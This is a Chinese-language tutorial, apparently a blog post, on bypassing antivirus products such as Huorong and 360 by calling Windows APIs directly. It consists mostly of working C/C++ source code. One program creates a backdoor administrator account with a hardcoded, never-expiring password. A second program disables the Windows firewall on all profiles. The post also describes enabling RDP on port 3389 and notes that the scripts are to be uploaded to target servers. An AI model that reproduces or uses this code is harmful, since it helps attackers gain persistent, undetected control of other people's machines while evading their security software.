使用场景
目前服务器或终端存在360、火绒等安全防护软件,使用命令新建用户、关闭防火墙、开启高危端口等高危操作会被拦截。基于安全防护软件特性,通过在网上查阅大量资料,发现可调用Windows系统自身的API实现高危命令的执行,并且不会触发安全防护软件。
Windows API
Windows 这个多作业系统除了协调应用程序的执行、分配内存、管理资源之外, 它同时也是一个很大的服务中心,调用这个服务中心的各种服务(每一种服务就是一个函数),可以帮应用程序达到开启视窗、描绘图形、使用周边设备等目的,由于这些函数服务的对象是应用程序(Application), 所以便称之为 Application Programming Interface,简称 API 函数。
添加用户&管理员组
正常添加用户以及添加至管理员组命令为:
net user admin1 1q2w!Q@W /add
net localgroup Adminstrators admin1 /add
正常在cmd命令行中添加用户时,安全防护软件会对该高危命令进行拦截
我们可以利用调用Windows API的方式来增加用户名,我们可以通过C语言进行API的调用
下面是增加用户名的实例代码
`/***********************************************************************
【+】bypass 火绒添加用户
【+】static/MT编译 最低支持Windwos xp
【+】https://github.com/0x6C696A756E/bypass_HuoRong_addUser
【+】- 0x6C696A756E -
【+】Date 2023/9/19
***********************************************************************/
#define _CRT_SECURE_NO_WARNINGS
#include <windows.h>
#include <lm.h>
#include <stdio.h>
#include <ctime>
#pragma comment(lib, "netapi32.lib")//链接系统静态库
//函数声明
int AddUser(LPWSTR username_args, LPWSTR password_args);
int AddLocalGroupAdministrators(LPWSTR user);
int UserExists(LPWSTR userName);
void GetSystemTime();
HANDLE consolehwnd;//创建控制台句柄 实现输出绿色字体
int main(int argc, char* args[])
{
printf("\n");
printf("***************************************************************************\n");
printf("【+】bypass 火绒添加用户\n");
printf("【+】static/MT编译 最低支持Windwos xp\n");
printf("【+】https://github.com/0x6C696A756E/bypass_HuoRong_addUser \n");
printf("【+】https://blog.csdn.net/qq_29826869\n");
printf("【+】- 0x6C696A756E -\n");
printf("【+】Date 2023/9/18\n");
printf("**************************************************************************\n");
printf("\n");
consolehwnd = GetStdHandle(STD_OUTPUT_HANDLE);//实例化句柄
const wchar_t username = L"xxx";//添加的用户名 const wchar_t* 宽字节常指针类型
const wchar_t* password = L"admin@Fuck748";//添加的密码 const wchar_t* 宽字节常指针类型
// 将 const wchar_t* 转换为 LPWSTR
wchar_t* usernameWritable = const_cast<wchar_t>(username);//强转为LPWSTR类型
wchar_t passwordWritable = const_cast<wchar_t*>(password);//强转为LPWSTR类型
//先判断xxx 这个用户是否存在 不存在则进行添加,存在则给出提示!
int code = UserExists(usernameWritable);
switch (code)
{
case 200:
//存在则给出提示
GetSystemTime();//获取系统时间
printf("[+] https://github.com/0x6C696A756E/bypass_HuoRong_addUser\n");
SetConsoleTextAttribute(consolehwnd, FOREGROUND_RED);//设置红色
printf("The user xxx already exists!\n");//此处为红色字体
SetConsoleTextAttribute(consolehwnd, 7); // 恢复控制台默认颜色
break;
case 404:
//不存在
//添加用户名和密码
GetSystemTime();//获取系统时间
AddUser(usernameWritable, passwordWritable);
//把用户添加到管理员组
AddLocalGroupAdministrators(usernameWritable);
break;
case 500:
//其他错误
GetSystemTime();//获取系统时间
SetConsoleTextAttribute(consolehwnd, FOREGROUND_RED);//设置字体红色
printf("[+] https://github.com/0x6C696A756E/bypass_HuoRong_addUser\n");
printf("Other errors!\n");//此处为红色字体
SetConsoleTextAttribute(consolehwnd, 7); // 恢复控制台默认颜色
break;
}
return 0;
}
//添加用户名和密码方法
int AddUser(LPWSTR username_args, LPWSTR password_args) {
USER_INFO_1 userInfo;//声明结构体
DWORD level = 1;
DWORD error = 0;
// 设置结构体用户信息
userInfo.usri1_name = username_args; // 用户名
userInfo.usri1_password = password_args; // 密码
userInfo.usri1_priv = USER_PRIV_USER; // 用户权限,这里设置为普通用户
userInfo.usri1_home_dir = NULL; // 用户主目录,默认为 NULL
userInfo.usri1_comment = NULL; // 用户备注,默认为 NULL
userInfo.usri1_flags = UF_DONT_EXPIRE_PASSWD;// 用户标志这里设置为密码永不过期
userInfo.usri1_script_path = NULL;//用户脚本路径
// 添加用户
NET_API_STATUS result = NetUserAdd(NULL, level, (LPBYTE)&userInfo,(LPDWORD)&error );//(LPDWORD)&error
if (result == NERR_Success)
{
SetConsoleTextAttribute(consolehwnd, FOREGROUND_INTENSITY | FOREGROUND_GREEN);//设置绿色
//此处为绿色字体
printf("[+] https://github.com/0x6C696A756E/bypass_HuoRong_addUser\n");
printf("[+] Support Versions of Windows XP - Windows 11 -- (x86 or x64)\n");
printf("[+] Support Versions of Windows Server 2003 - Windows Server 2022 -- (x86 or x64)\n");
printf("[+] Add User Successful!\n");
printf("[+] Username is -> xxx\n");
printf("[+] Password is -> admin@Fuck748\n");
printf("[+] Password never expires!\n");
SetConsoleTextAttribute(consolehwnd, 7); // 恢复控制台默认颜色
}
else
{
SetConsoleTextAttribute(consolehwnd, FOREGROUND_RED);//设置字体红色
//此处为红色字体
printf("[+] https://github.com/0x6C696A756E/bypass_HuoRong_addUser\n");
printf("!!! Add User Error!,Code:%d\n", result);
SetConsoleTextAttribute(consolehwnd, 7); // 恢复控制台默认颜色
}
return 0;
}
//把用户添加到管理员组
int AddLocalGroupAdministrators(LPWSTR user) {
// 将用户添加到管理员组
LOCALGROUP_MEMBERS_INFO_3 members;
members.lgrmi3_domainandname = user;
DWORD result = NetLocalGroupAddMembers(NULL, L"Administrators", 3, reinterpret_cast<LPBYTE>(&members), 1);
if (result == NERR_Success) {
// 用户添加到管理员组成功
SetConsoleTextAttribute(consolehwnd, FOREGROUND_INTENSITY | FOREGROUND_GREEN);//设置绿色
printf("[+] Add User xxx to administrators Successful!\n");//此处为绿色字体
SetConsoleTextAttribute(consolehwnd, 7); // 恢复控制台默认颜色
}
else {
// 用户添加到管理员组失败
SetConsoleTextAttribute(consolehwnd, FOREGROUND_RED);//设置字体红色
//此处为红色字体
printf("!!! Add LocalGroup Error!,Code:%d\n", result);
SetConsoleTextAttribute(consolehwnd, 7); // 恢复控制台默认颜色
}
return 0;
}
//判断xxx 用户是否存在
int UserExists(LPWSTR userName) {
USER_INFO_1* userInfo = NULL;
DWORD dwLevel = 1;
DWORD dwError = 0;
// Get user info
dwError = NetUserGetInfo(NULL, userName, dwLevel, (LPBYTE*)&userInfo);
if (dwError == NERR_UserNotFound) {
// User does not exist 不存在
return 404;
}
else if (dwError == NERR_Success) {
// User exists 存在
return 200;
}
else {
// Error 其他错误
return 500;
}
NetApiBufferFree(userInfo);//指针释放
}
//获取系统时间 兼容VC++ 6.0写法
void GetSystemTime() {
time_t now = time(0);
char timestamp[80];
struct tm tstruct;
tstruct = *localtime(&now);
strftime(timestamp, sizeof(timestamp), "%Y-%m-%d %H:%M:%S", &tstruct);
SetConsoleTextAttribute(consolehwnd, FOREGROUND_INTENSITY | FOREGROUND_GREEN);//设置绿色
printf("[+] %s\n", timestamp);
SetConsoleTextAttribute(consolehwnd, 7); // 恢复控制台默认颜色
}`
NetUserAdd: 这是主要的函数,用于添加用户帐户。第一个参数指定目标计算机(NULL表示本地计算机),第二个参数指定信息级别(这里使用1,即USER_INFO_1结构),第三个参数是指向包含新用户信息的结构,第四个参数是一个接收错误信息的变量。
USER_INFO_1: 这是一个结构,包含了用户帐户的基本信息,如用户名、密码、权限等。
下一步通过对C语言的编译得到可执行exe程序
先net user查看当前用户,再执行该exe程序
我们可以看到执行add_user.exe程序后,NewUser已经成功添加,且火绒并没有进行拦截,这样我们即通过调用Windows 自带的API进行用户添加。
利用Windows的特性,我们可以尝试更改代码,实现开启3389端口、关闭防火墙等一系列攻防中需要的高危操作。
关闭防火墙
通过调用Windows API关闭防火墙实例代码
`#include <windows.h>
#include <netfw.h>
#include <comdef.h>
#include <iostream>
#pragma comment(lib, "ole32.lib")
#pragma comment(lib, "comsuppw.lib")
void PrintError(HRESULT hr) {
_com_error err(hr);
std::wcout << L"Error: " << err.ErrorMessage() << std::endl;
}
int main() {
HRESULT hr;
INetFwPolicy2* pNetFwPolicy2 = nullptr;
// 初始化COM库
hr = CoInitializeEx(0, COINIT_APARTMENTTHREADED);
if (FAILED(hr)) {
std::wcout << L"CoInitializeEx failed: ";
PrintError(hr);
return 1;
}
// 创建INetFwPolicy2实例
hr = CoCreateInstance(__uuidof(NetFwPolicy2), NULL, CLSCTX_INPROC_SERVER, __uuidof(INetFwPolicy2), (void**)&pNetFwPolicy2);
if (FAILED(hr)) {
std::wcout << L"CoCreateInstance failed: ";
PrintError(hr);
CoUninitialize();
return 1;
}
// 关闭防火墙
hr = pNetFwPolicy2->put_FirewallEnabled(NET_FW_PROFILE2_DOMAIN, VARIANT_FALSE);
if (FAILED(hr)) {
std::wcout << L"Failed to disable firewall for Domain profile: ";
PrintError(hr);
}
hr = pNetFwPolicy2->put_FirewallEnabled(NET_FW_PROFILE2_PRIVATE, VARIANT_FALSE);
if (FAILED(hr)) {
std::wcout << L"Failed to disable firewall for Private profile: ";
PrintError(hr);
}
hr = pNetFwPolicy2->put_FirewallEnabled(NET_FW_PROFILE2_PUBLIC, VARIANT_FALSE);
if (FAILED(hr)) {
std::wcout << L"Failed to disable firewall for Public profile: ";
PrintError(hr);
}
// 释放INetFwPolicy2实例
if (pNetFwPolicy2 != nullptr) {
pNetFwPolicy2->Release();
}
// 取消初始化COM库
CoUninitialize();
std::wcout << L"Firewall has been disabled for all profiles." << std::endl;
return 0;
}`
对该代码进行编译exe程序
首先我们测试机中的防火墙是开启状态
运行编译好的exe程序后,可实现绕过安全防护软件对防火墙进行关闭
开启RDP服务
利用Windows API的特性,编写开启RDP服务脚本
目前远程桌面是关闭状态
3389端口目前为关闭状态
运行编译好的脚本,可绕过安全防护软件的拦截
可以利用Windows API的特性,调用API接口来执行各种高危命令操作,以上只是提供一个在攻防环境下的思路。
前提条件
- 需要使用管理员权限运行脚本
- 需将脚本上传至目标服务器